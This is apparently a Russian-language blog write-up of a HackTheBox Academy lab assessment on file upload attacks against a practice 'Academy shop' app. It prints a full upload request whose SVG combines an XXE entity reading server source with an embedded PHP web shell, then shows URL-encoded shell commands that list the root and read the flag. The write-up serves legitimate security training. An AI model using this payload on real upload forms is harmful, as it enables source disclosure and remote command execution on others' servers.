HTB. Assessment по File Upload Attacks

0
(0)

Продолжаем покарять академию HackTheBox. В конце модуля «File Upload Attacks» дается Assessment на проверку полученных знаний. Это веб-приложение, где логично догадаться есть уязвимая форма загрузки чего-либо.

Само приложение — некий «Academy shop» магазин.

Немного осматриваемся и находим всего одну форму для загрузки изображения.

Загружаем любую картинку и смотрим на запрос в burp.

Потыкавшись в попытках загрузить разные расширения с php шеллом, я потерпел неудачу. Пробаем использовать XXE в svg. Запрос в burp:

Bash
POST /contact/upload.php HTTP/1.1
Host: 83.136.252.32:55703
Content-Length: 574
X-Requested-With: XMLHttpRequest
Accept-Language: ru-RU,ru;q=0.9
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0mOVj0tjhrnNROIq
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: http://83.136.252.32:55703
Referer: http://83.136.252.32:55703/contact/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary0mOVj0tjhrnNROIq
Content-Disposition: form-data; name="uploadFile"; filename="shell.phar.jpeg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px"
     xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?php system($_GET['cmd']); ?>

------WebKitFormBoundary0mOVj0tjhrnNROIq--

Тут мы убиваем сразу двух зайцев. Во-первых используем узвимость на чтение php кода (<!DOCTYPE test [ <!ENTITY xxe SYSTEM «php://filter/convert.base64-encode/resource=upload.php»)

Во-вторых вставляем веб шелл:

Bash
<?php system($_GET['cmd']); ?>

В ответе нам придет base64 c исходным кодом файла upload.php.

Раскодируем так:

Bash
 $ echo PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K | base64 -d
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

Из исходного кода видим, что директория, куда сохраняются «изображения» лежит по пути /contact/user_feedback_submissions и сами файлы формируются с prefix-ом даты YYMMDD_. То есть итоговый путь до нашего файла будет /contact/user_feedback_submissions/251122_shell.phar.jpeg.

Вызываем его в браузере:

Видим что shell работает. В задании сказано, что флаг лежит в корневой директории. Проверяем что там командой ls /, которую в том же burp можно сделать url encode.

Bash
http://83.136.252.32:55703/contact/user_feedback_submissions/251122_shell.phar.jpeg?cmd=%6c%73%20%2f

Далее просто делаем cat на нужный файл:

Bash
http://83.136.252.32:55703/contact/user_feedback_submissions/251122_shell.phar.jpeg?cmd=%63%61%74%20%2f%66%6c%61%67%5f%32%62%38%66%31%64%32%64%61%31%36%32%64%38%63%34%34%62%33%36%39%36%61%31%64%64%38%61%39%31%63%39%2e%74%78%74

В браузере увидим флаг.

Насколько статья полезна?

Нажмите на звезду, чтобы оценить!

Средняя оценка 0 / 5. Количество оценок: 0

Оценок пока нет. Поставьте оценку первым.

Оставить комментарий